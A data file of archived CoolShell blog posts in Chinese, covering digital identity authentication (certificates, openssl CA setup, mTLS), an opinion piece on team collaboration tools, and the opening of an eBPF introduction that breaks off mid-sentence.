class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21146.html\"><img alt=\"Go 编程模式：Functional Options\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.options-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2022-1-2 网络数字身份认证术.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-21716\" height=\"201\" src=\"../wp-content/uploads/2022/01/iStock-1175502114-300x201.png\" width=\"300\"/>这篇文章是《<a href=\"https://coolshell.cn/articles/19395.html\" rel=\"noopener\" target=\"_blank\" title=\"HTTP API 认证授权术\">HTTP API 认证授权术</a>》的姊妹篇，在那篇文章中，主要介绍了 HTTP API 认证和授权技术中用到的 HTTP Basic, Digest Access, HMAC, OAuth, JWT 等各种方式，主要是 API 上用到的一些技术，这篇文章主要想说的是另一个话题——身份认证。也就是说，怎么确认这个数据就是这个人发出来的？</p>\n<h4>用户密码</h4>\n<p>要解决这个问题，我们先来看一个最简单的解——使用密码，通常来说，在网络上要证明一个人的身份的话，都需要这个人的一些私密而唯一的东西。比如，像密码这样的东西，很多地方，只要你提供了你的用户名+密码，就可以确定这个人是你（注明：关于密码管理，强密码设定，密码泄漏，密码破解以及密码哄骗不在这篇文章的话题中），也就是说，这个密码是非常私密的事，我们可以假设，这个事全世界只能有当事人一个人知道，所以，当事人得供正确的密码，我们就可以认证这个人了。</p>\n<p>为了加强密码的安全程度，一般会使用 2FA（Two-factor authentication）或 MFA（Multi-factor authentication），双因认证或多因认证，这需要用户提供一个唯一的可信设备，比如用户的手机，然后通过验证手机短信，或是像 <a href=\"https://en.wikipedia.org/wiki/Google_Authenticator\" rel=\"noopener\" target=\"_blank\">Google Authenticator</a>  这样的动态口令来完成。这样的安全级别已经算是比较高了。如果能够再加上经常性的变更密码，那么安全级别就更好了。</p>\n<p><span id=\"more-21708\"></span></p>\n<p>另外，一些公司还使用了生物密码来进行用户的身份验证，比如人脸识别。但是，我个人觉得人脸识别或是生物识别是比较糟糕的方式，因为：</p>\n<ul>\n<li>目前能被验证的生物信息（如人脸和指纹）太容易被别人获得和伪造了。</li>\n<li>这样东西不能被变更和吊销，密码可以被吊销和重置，人脸则不能。</li>\n</ul>\n<h4>密钥对和证书</h4>\n<p>密码可以解决身证认证的问题有很多问题，最重要的一个问题就是，你要把你的密码提供给对方，对方才能验证你的身份。你不可能把你的密码提供给全世界的人吧，这样的话，全世界的人都有你的密码了，那么任何人都能变成你了。所以，用户密码这个事只能存在于权威机构和普通用户之间，不能存在于普遍应用中。所以，这里需要使用更好的解决方案。</p>\n<p>使用 ECC（<a href=\"https://en.wikipedia.org/wiki/Elliptic-curve_cryptography\" rel=\"noopener\" target=\"_blank\" title=\"Elliptic-Curve Cryptography\">Elliptic-Curve Cryptography</a>）椭圆曲线密码术，可以通过一个“密钥对”进行非对称加密。这种技术，在对信息进行加密和解密时，使用两个不同的密钥，其中一个用来做加密，另一个做解密。这样一来，我们就可以把其中一个密钥公布出去，称之为公钥，另一个密钥私密地保管好，称之为私钥。</p>\n<p>比如，我用我的私钥加密信息，然后，我把这个私钥所配对的公钥发布给所有人，大家都用公钥解密信息，不用我的公钥你解密不了这个信息。这样一来，就可以保证这个信息是我发出来的，不但保证了信息安全，还完成了身份认证。</p>\n<p><img alt=\"\" class=\"aligncenter size-large wp-image-21710\" height=\"244\" src=\"../wp-content/uploads/2022/01/key.pair_-1024x390.png\" width=\"640\"/></p>\n<p>这样的现实案例一般用于网站，也就是用户得要知道我访问的这个网站是真实的，不是别人做的。因为 DNS 很容易被 hack，你连上一个不可信的网络，这个网络里的 DNS 把这个网站的 IP 地址解析成什么 就是什么了。但是有了这个加密的机制后，网站把自己的信息加密后连同公钥给到访问者，访问解密后就知道是不是这个网站了。</p>\n<p>但是，这里还是会有一个很严重的问题，那就是中间人攻击。如下图所示：</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-21712 size-full\" height=\"252\" src=\"../wp-content/uploads/2022/01/middle.man_-e1641105543137.png\" width=\"600\"/></p>\n<p>中间人 Chad 把自己伪装成 Bob 向 Alice 要信息，然后，再伪装成 Alice 对 Bob 说，这就是 Alice 的公钥，于是 Bob 也无法验证是不是 Alice 的公钥，因为公钥里就是一堆乱七八糟的数据，我们完全不能分辨哪个公钥属于 Alice 的。试想，如果我们收到声称属于银行的密钥。我们怎么知道它确实属于你的银行？</p>\n<p>这里的答案就是<strong>使用数字证书</strong>。证书跟我们的身份证非常类似，其需要一个可信机构来颁发和验证的。这个证书机构 CA（Certificate Authority）是一个是大家都相信的权威机构，他用他的人品保证（当然一般会被严格管理和审计），CA 机构同样使用这样的非对称加密的技术来完成颁发和验证的事。下图展示了这一过程。</p>\n<p><img alt=\"\" class=\"aligncenter size-large wp-image-21713\" height=\"333\" src=\"../wp-content/uploads/2022/01/certificate-1024x532.png\" width=\"640\"/></p>\n<p>说明一下上面这个图：</p>\n<ol>\n<li>为了解决公钥认证的问题的，我们需要一个权威的CA 机构。</li>\n<li>Alice 把自己的信息（姓名、组织，地址，电邮，网址等）和自己的公钥打包成一个 CSR 的文件，发给 CA 机构，</li>\n<li>CA 机构会来找 Alice 做物理世界的认证，如果通过后，就会用自己的机构私钥，把CSR 变成一个签名证书。</li>\n<li>Bob 同学拿到 Alice 的证书，用 CA 机构的公钥解密后，得到 Alice 的公钥</li>\n<li>后面就可以签证 信息是否来自 Alice 了。</li>\n</ol>\n<p>是的，这个过程就是在“套娃”，这种证书机构还可以给下级的证书机构发证，于是就会一层套一层地，形成一个证书链，顶层的叫根证书，你得绝对信任之。对于验证证书真实性的客户端，它需要能够验证链中所有 CA 的签名，这意味着客户端需要访问链中所有 CA 的证书。</p>\n<h4>证书生成过程演示</h4>\n<p>并不是所有的场景都需要向这些大型的 CA 机构申请公钥证书，在任何一个企业，组织或是团体内都可以自己形这样的“小王国”，也就是说，你可以自行生成这样的证书，只需要你自己保证自己的生成证书的私钥的安全，以及不需要扩散到整个互联网。下面，我们用 <code>openssl</code>命令来演示这个过程。</p>\n<p>1）生成 CA 的证书（公钥） <code>ca.crt</code> 和私钥 <code>ca.key</code></p>\n<pre class=\"EnlighterJSRAW\">openssl req -newkey rsa:2048 \\\n    -new -nodes -x509 \\\n    -days 365 \\\n    -out ca.crt \\\n    -keyout ca.key \\\n    -subj \"/C=SO/ST=Earth/L=Mountain/O=CoolShell/OU=HQ/CN=localhost\"</pre>\n<p>2)  生成 alice 的私钥</p>\n<pre class=\"EnlighterJSRAW\">openssl genrsa -out alice.key 2048</pre>\n<p>3）生成 Alice 的 CSR – Certificate Signing Request</p>\n<pre class=\"EnlighterJSRAW\">openssl req -new -key alice.key 365 -out alice.csr \\\n    -subj \"/C=CN/ST=Beijing/L=Haidian/O=CoolShell/OU=Test/CN=localhost.alice\"</pre>\n<p>4）使用 CA 给 Alice 签名证书</p>\n<pre class=\"EnlighterJSRAW\">openssl x509  -req -in alice.csr \\\n    -extfile &lt;(printf \"subjectAltName=DNS:localhost.alice\") \\ \n    -CA ca.crt -CAkey ca.key  \\\n    -days 365 -sha256 -CAcreateserial \\\n    -out alice.crt</pre>\n<h4>双向认证 mTLS</h4>\n<p>上面，我们说的基本上都是单向认证，大量的场景都是确保用户方访问的是真正的服务方，如：银行，电商网站，等。这样可以保证用户不会被钓鱼网站或是中间人攻击。但是，很多时候，我们也是需要双向认证的。下面是一个典型的场景——微信支付和商户间交互</p>\n<ul>\n<li>用户到商家那边买东西，商家要求用户进行支付。</li>\n<li>用户选择了微信支付，于是，界面从商户侧切到了微信侧</li>\n<li>微信那边支付完成后，商户这边收到微信那边支付完成的通知，于是开始发货。</li>\n</ul>\n<p>这个过程中有件事非常重要——就是微信通知商户支付完成的时候。</p>\n<ul>\n<li>微信得确保通知到的就是用户所支付商户，而不是别个。</li>\n<li>商户也得要能确认，来通知我的就是微信，不是别人。</li>\n</ul>\n<p>一般来说，微信会给商户一个 AppID和一个 AppSerct，用这个来确保是我认证过的商户来调用我，然后，需要商户在自己的系统里填一个回调的 URL，并通过平台设置的 key来做 MD5/HMAC的签名来确保是官方的回调。这都是在《<a href=\"https://coolshell.cn/articles/19395.html\" rel=\"noopener\" target=\"_blank\" title=\"HTTP API 认证授权术\">HTTP API 认证授权术</a>》中提到过的技术，是相对传统的技术。</p>\n<p>如今，<b>mTLS是</b>确保云原生应用程序中服务之间的通信安全的首选协议。 也就是双向认证。</p>\n<p>传统的 TLS 认证过程是：</p>\n<ol dir=\"auto\">\n<li>客户端连接到服务器</li>\n<li>服务器提供其 TLS 证书</li>\n<li>客户端验证服务器的证书</li>\n<li>客户端和服务器通过加密的 TLS 连接交换信息</li>\n</ol>\n<p dir=\"auto\">在 mTLS 中，客户端和服务器都有一个证书，双方都使用他们的公钥/私钥对进行身份验证。与常规 TLS 相比，mTLS 中有额外的步骤来验证双方（以<strong>粗体显示的</strong>额外步骤）：</p>\n<ol dir=\"auto\">\n<li>客户端连接到服务器</li>\n<li>服务器提供其 TLS 证书</li>\n<li>客户端验证服务器的证书</li>\n<li><strong>客户端出示其 TLS 证书</strong></li>\n<li><strong>服务器验证客户端的证书</strong></li>\n<li><strong>服务器授予访问权限</strong></li>\n<li>客户端和服务器通过加密的 TLS 连接交换信息</li>\n</ol>\n<p>mTLS 需要“根”TLS 证书；这我们自己来完成证书颁发机构的职责。授权客户端和服务器使用的证书必须与此根证书相对应。根证书是自签名的，这意味着我们需要自己创建它。（注：此方法不适用于公共 Internet 上的单向 TLS，因为外部证书颁发机构必须颁发这些证书）</p>\n<p>那么，为什么整个互联网上都用了 TLS 了，为什么 不升级一下使用 mTLS？这里有两方面的原因：</p>\n<ul>\n<li>公共互联网上要解决的问题是：A) 确保用户访问到的是正确的网站，而不是钓鱼网站。B）网站传输的内容是安全和私密且不会被篡改的。</li>\n<li>将 TLS 证书分发到所有最终用户设备将非常困难。生成、管理和验证为此所需的数十亿个证书几乎是不可能的任务。</li>\n</ul>\n<p>在较小的范围内，mTLS 对于单个组织非常有用且非常实用，尤其是当这些组织采用零信任方法来确保网络安全时。由于默认情况下零信任方法不信任任何用户、设备或请求，因此组织必须能够在每次尝试访问网络中的任何点时对每个用户、设备和请求进行身份验证。mTLS 通过对用户进行身份验证和设备验证来帮助实现这一目标。</p>\n<p>关于 mTLS，这里有一个我用 Golang 写的示例 – <a href=\"https://github.com/haoel/mTLS\" rel=\"noopener\" target=\"_blank\">https://github.com/haoel/mTLS</a>，大家可以参考一下。</p>\n<p>P.S. 本文图版中的卡司来自安全圈的标准 Cast，参看<a href=\"https://en.wikipedia.org/wiki/Alice_and_Bob\" rel=\"noopener\" target=\"_blank\"> Alice and Bob</a>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19395.html\"><img alt=\"HTTP API 认证授权术\" height=\"150\" src=\"../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21003.html\"><img alt=\"计时攻击 Timing Attacks\" height=\"150\" src=\"../wp-content/uploads/2020/06/time-bomb-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21003.html\">计时攻击 Timing Attacks</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19840.html\"><img alt=\"HTTP的前世今生\" height=\"150\" src=\"../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19840.html\">HTTP的前世今生</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17607.html\"><img alt=\"从 MongoDB “赎金事件” 看安全问题\" height=\"150\" src=\"../wp-content/uploads/2017/01/MongoDB-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17607.html\">从 MongoDB “赎金事件” 看安全问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21708.html\">网络数字身份认证术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2022-10-14 聊聊团队协同和协同工具.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-22308\" height=\"168\" src=\"../wp-content/uploads/2022/10/communication-300x168.png\" width=\"300\"/>这两天跟 <a href=\"https://twitter.com/CaliCastleMusic\" rel=\"noopener\" target=\"_blank\">Cali</a> 和 <a href=\"https://twitter.com/RatherJie\" rel=\"noopener\" target=\"_blank\">Rather</a> 做了一个线上的 <a href=\"https://kjsyp.fm/podcasts/43961/episodes/ep5-ft-megaease\" rel=\"noopener\" target=\"_blank\">Podcast – Ep.5 一起聊聊团队协同</a>。主要是从 IM 工具扩展开来聊了一下团队的协同和相应的工具，但是聊天不是深度思考，有一些东西我没有讲透讲好，所以，我需要把我更多更完整更结构化的想法形成文字。（注：聊天聊地比较详细，本文只是想表达我的主要想法）</p>\n<h4>国内外的企业 IM 的本质差别</h4>\n<p>国内企业级在线交流工具主要有：企业微信、钉钉、飞书，国外的则是：Slack、Discord这两大IM工具，你会发现，他们有很多不一样的东西，<strong>其中有两个最大的不同，一个是企业管理，一个是企业文化。</strong></p>\n<h5>企业管理</h5>\n<p><strong>Slack/Discrod 主要是通过建 Channel ，而国内的IM则主要是拉群</strong>。你可能会说，这不是一样的吗？其实是不一样的，很明显，Channel 的属性是相对持久的，而群的属性则是临时的，前者是可以是部门，可以是团队，可以是项目，可以是产品，可以是某种长期存在的职能（如：技术分享），而拉群则是相对来说临时起意的，有时候，同样的人群能被重复地拉出好几次，因为之前临时起意的事做完了，所以群就被人所遗忘了，后面再有事就再来。<strong>很明显，Channel 这种方式明显是有管理的属性的，而拉群则是没有管理的</strong>。</p>\n<p><span id=\"more-22298\"></span></p>\n<p>所以，在国内这种作坊式，野蛮粗放式的管理风格下，他们需要的就是想起一出是一出的 IM 工具，所以，拉群就是他们的工作习惯，因为没有科学的管理，所以没有章法，所以，他们不需要把工作内的信息结构化的工具。而国外则不然，国外的管理是精细化的，国外的公司还在重度使用 Email 的通讯方式，而 Email 是天生会给一个主题时行归类，而且 Email 天生不是碎片信息，所以，国外的 IM 需要跟 Email 竞争，因为像 Email 那样给邮件分类，把信息聚合在一个主题下的方式就能在 IM 上找到相关的影子。Channel 就是一个信息分类，相当于邮件分类，Slack 的 回复区和 Discord 的子区就像是把同一个主题信息时行聚合的功能。这明显是懂管理的人做的，而国内的拉群一看就是不懂管理的人干的，或者说是就是满足这些不懂管理的人的需求的。</p>\n<h5>企业文化</h5>\n<p>团队协作和团队工作最大的基石是信任，如果有了信任，没有工具都会很爽，如果没有信任，什么工具都没用。信任是一种企业文化，这种文化不仅包括同级间的，还包括上下级间的。但是，因为国内的管理跟不上，所以，就导致了各种不信任的文化，而需要在这里不信任的文化中进行协同工作，国内的 IM 软件就会开发出如下在国外的 IM 中完全没有的功能：</p>\n<ul>\n<li><strong>监控员工</strong>。获取员工的工作时间以及工作位置。</li>\n<li><strong>有详细的已读标注</strong>。这样会给对方要回复的压力。</li>\n<li> <strong>发出的信息不能修改，不能删除，非常有限地可撤回</strong>。</li>\n</ul>\n<p>而国外的 IM 则是，发出的信息可以修改/删除，没有已读标准，也不会监控员工。这种时候，我总是会对工作在这种不信任文化中人感到可怜……如果大家需要靠逼迫的方式把对方拉来跟我一起协作，我们还工作个什么劲啊。</p>\n<h5>小结</h5>\n<p>所以，我们可以看到，<strong>畸形的企业管理和企业文化下，就会导致畸形的协同工具</strong>。最令人感到悲哀的是，有好多同学还觉得国内的钉钉非常之好，殊不知，你之所以感觉好用，是因为你所在的环境是如此的不堪。你看，<strong>人到了不同的环境就会有不同的认识，所以，找一个好一些的环境对一个人的成长有多重要</strong>。</p>\n<p>给一些新入行的人的建议就是，一个环境对一个人的认知会有非常大的影响，找一个好的环境是非常重要，如果不知道什么 环境是好的，那就先从不使用钉钉为工作协同软件的公司开始吧……</p>\n<h4>什么是好的协同工具</h4>\n<p>我们从上面可以得到，协同的前提条件是你需要有一个基于信任的企业文化，还需要有有结构化思维的科学的管理思维。没有这两个东西，给你的团队再多的工具都不可能有真正好有协同的，大家就是装模作样罢了。</p>\n<p>假设我们的管理和文化都没有问题，那下面我们来谈谈协同工具的事。</p>\n<p>我个人觉得 IM 这种工具包括会议都不是一种好的协同工具，因为这些工具都无法把信息做到真正的结构化和准确化，用 IM 或是开会上的信息大多都是碎片化严重，而且没有经过深度思考或是准备的，基本都是即兴出来的东西，不靠谱的概率非常大。</p>\n<p>找人交流和开会不是有个话题就好的，还需要一个可以讨论的“议案”。在 Amazon 里开会，会前，组织方会把要讨论的方案打印出来给大家看，这个方案是深思过的，是验证过的，是有数据和证据或是引用支撑的，会议开始后，10 -15分钟是没有人说话的，大家都在看文档，然后就开始直接讨论或发表意见，支持还是不支持，还是有条件支持……会议效率就会很高。</p>\n<p>但是这个议案其实是可以由大家一起来完成的，所以，连打印或是开会都不需要。试想一下，使用像 Google Doc 这样的协同文档工具，把大家拉到同一个文档里直接创作，不香吗？我在前段时间，在公网上组织大家来帮我完成一个《<a href=\"https://docs.google.com/document/d/1-c93ax4Uog_CHTOLBKpKLNCUtZYwacGbXm8OP3Fh810\" rel=\"noopener\" target=\"_blank\">非常时期的囤货手册</a>》，这篇文章的形成有数百个网友的加持，而我就是在做一个主编的工作，这种工作是 IM 工具无法完成的事。与之类似的协同工具还有大家一起写代码的 Github，大家一起做设计的 Figma……这样创作类的协同工具非常多。另外，好多这些工具都能实时展示别人的创作过程，这个简直是太爽了，你可以通过观看他人创作过程，学习到很多他人的思路和想法，这个在没有协同工具的时代是很难想像的。</p>\n<p>好的协同工具是可以互相促进互相激励的，就像一个足球队一样，当你看到你的队友在勇敢地争抢，拼命地奔跑，你也会被感染到的。</p>\n<p>所以，<strong>好的协同就是能够跟一帮志同道合，有共同目标，有想法，有能力的人一起做个什么事</strong>。<strong>所以，在我心中我最喜欢的协同工具从来都是创作类的，不是管理类的，更不是聊天类的。</strong>管理和聊天的协同软件会让你产生一种有产出的假象，但其实不同，这种工具无论做的有多好，都是支持性的工具，不是产出类的工具，不会提升生产力的。</p>\n<p>另外，在创作类的协同工具上如果有一些智能小帮手，如：Github 发布的 Copilot。那简直是让人爽翻天了，所以，真正能提升生产力的工具都是在内容上帮得到你的。</p>\n<h4>结束语</h4>\n<p>我其实并不喜欢今天所有的 IM 工具，因为我觉得信息不是结构化的，信息是有因果关系和上下文的，是结构化的，是多维度的，不是今天这种线性的方式，我们想像一下“脑图”或是知识图，或是 wikipedia 的网关的关联，我们可能就能想像得到一个更好的 IM 应该是什么 样的……</p>\n<p>协同工作的想像空间实在是太大了，我觉得所有的桌面端的软件都会被协作版的重写，虽然，这种协作软件需要有网络的加持，但是协作软件的魅力和诱惑力实在的太大了，让人无法不从……</p>\n<p>未来的企业，那些管理类的工具一定会被边缘化的，聊天类的会被打成一个通知中心，而创作类的会大放异彩，让大家直接在要干的事上进行沟通、交互和分享。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20276.html\"><img alt=\"别让自己“墙”了自己\" height=\"150\" src=\"../wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20276.html\">别让自己“墙”了自己</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2022-12-10 eBPF 介绍.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-22329 size-full\" height=\"167\" src=\"../wp-content/uploads/2022/12/eBPF.jpeg\" width=\"301\"/>很早前就想写一篇关于eBPF的文章，但是迟迟没有动手，这两天有点时间，所以就来写一篇，这文章主要还是简单的介绍eBPF 是用来干什么的，并通过几个示例来介绍是怎么玩的，这个技术非常非常之强，Linux 操作系统的观测性实在是太强大了，并在 BCC 加持下变得一览无余。这个技术不是一般的运维人员或是系统管理员可以驾驭的，这个还是要有底层系统知识并有一定开发能力的技术人员才能驾驭的了的。<strong>我在这篇文章的最后给了个彩蛋。</strong></p>\n<h4>介绍</h4>\n<p>eBPF（extened Berkeley Packet Filter）是一种内核技术，它允许开发人员在不修改内核代码的情况下运行特定的功能。eBPF 的概念源自于 Berkeley Packet Filter（BPF），后者是由贝尔实验室开发的一种网络过滤器，可以捕获和过滤网络数据包。</p>\n<p>出于对更好的 Linux 跟踪工具的需求，eBPF 从 <a href=\"https://illumos.org/books/dtrace/chp-intro.html\">dtrace</a>中汲取灵感，dtrace 是一种主要用于 Solaris 和 BSD 操作系统的动态跟踪工具。与 dtrace 不同，Linux 无法全面了解正在运行的系统，因为它仅限于系统调用、库调用和函数的特定框架。<a href=\"https://www.kernel.org/doc/html/latest/bpf/index.html\">在Berkeley Packet Filter</a>  (BPF)（一种使用内核 VM 编写打包过滤代码的工具）的基础上，一小群工程师开始扩展 BPF 后端以提供与 dtrace 类似的功能集。 eBPF 诞生了。<strong>2014 年随 Linux 3.18 首次限量发布，充分利用 eBPF 至少需要 Linux 4.4 以上版本</strong>。</p>\n<p><span id=\"more-22320\"></span></p>\n<p>eBPF 比起传统的 BPF 来说，传统的 BPF 只能用于网络过滤，而 eBPF 则可以用于更多的应用场景，包括网络监控、安全过滤和性能分析等。另外，eBPF 允许常规用户空间应用程序将要在 Linux 内核中执行的逻辑打包为字节码，当某些事件（称为挂钩）发生时，内核会调用 eBPF 程序。此类挂钩的示例包括系统调用、网络事件等。用于编写和调试 eBPF 程序的最流行的工具链称为 <a href=\"https://github.com/iovisor/bcc\">BPF 编译器集合</a> (BCC)，它基于 LLVM 和 CLang。</p>\n<p>eBPF 有一些类似的工具。例如，SystemTap 是一种开源工具，可以帮助用户收集 Linux 内核的运行时数据。它通过动态加载内核模块来实现这一功能，类似于 eBPF。另外，DTrace 是一种动态跟踪和分析工具，可以用于收集系统的运行时数据，类似于 eBPF 和 SystemTap。<code>[1]</code></p>\n<p>以下是一个简单的比较表格，可以帮助您更好地了解 eBPF、SystemTap 和 DTrace 这三种工具的不同之处：<code>[1]</code></p>\n<table>\n<thead>\n<tr>\n<th>工具</th>\n<th>eBPF</th>\n<th>SystemTap</th>\n<th>DTrace</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>定位</td>\n<td>内核技术，可用于多种应用场景</td>\n<td>内核模块</td>\n<td>动态跟踪和分析工具</td>\n</tr>\n<tr>\n<td>工作原理</td>\n<td>动态加载和执行无损编译过的代码</td>\n<td>动态加载内核模块</td>\n<td>动态插接分析器，通过 probe 获取数据并进行分析</td>\n</tr>\n<tr>\n<td>常见用途</td>\n<td>网络监控、安全过滤、性能分析等</td>\n<td>系统性能分析、故障诊断等</td>\n<td>系统性能分析、故障诊断等</td>\n</tr>\n<tr>\n<td>优点</td>\n<td>灵活、安全、可用于多种应用场景</td>\n<td>功能强大、可视化界面</td>\n<td>功能强大、高性能、支持多种编程语言</td>\n</tr>\n<tr>\n<td>缺点</td>\n<td>学习曲线高，安全性依赖于编译器的正确性</td>\n<td>学习曲线高，安全性依赖于内核模块的正确性</td>\n<td>配置复杂，对系统性能影响较大</td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: center;\">对比表格<code>[1]</code></p>\n<p>从上表可以看出，eBPF、SystemTap 和 DTrace 都是非常强大的工具，可以用于收集和分析系统的运行情况。<code>[1]</code></p>\n<h4>用途</h4>\n<p>eBPF 是一种非常灵活和强大的内核技术，可以用于多种应用场景。下面是 eBPF 的一些常见用途：<code>[1]</code></p>\n<ul>\n<li>网络监控：eBPF 可以用于捕获网络数据包，并执行特定的逻辑来分析网络流量。例如，可以使用 eBPF 程序来监控网络流量，并在发现异常流量时进行警报。<code>[1]</code></li>\n<li>安全过滤：eBPF 可以用于对网络数据包进行安全过滤。例如，可以使用 eBPF 程序来阻止恶意流量的传播，或者在发现恶意流量时对其进行拦截。<code>[1]</code></li>\n<li>性能分析：eBPF 可以用于对内核的性能进行分析。例如，可以使用 eBPF 程序来收集内核的性能指标，并通过特定的接口将其可视化。这样，可以更好地了解内核的性能瓶颈，并进行优化。<code>[1]</code></li>\n<li>虚拟化：eBPF 可以用于虚拟化技术。例如，可以使用 eBPF 程序来收集虚拟机的性能指标，并进行负载均衡。这样，可以更好地利用虚拟化环境的资源，提高系统的性能和稳定性。<code>[1]</code></li>\n</ul>\n<p>总之，eBPF 的常见用途非常广泛，可以用于网络监控、安全过滤、性能分析和虚拟化等多种应用场景。<code>[1]</code></p>\n<h4>工作原理</h4>\n<p>eBPF 的工作原理主要分为三个步骤：加载、编译和执行。</p>\n<p>eBPF 需要在内核中运行。这通常是由用户态的应用程序完成的，它会通过系统调用来加载 eBPF 程序。在加载过程中，内核会将 eBPF 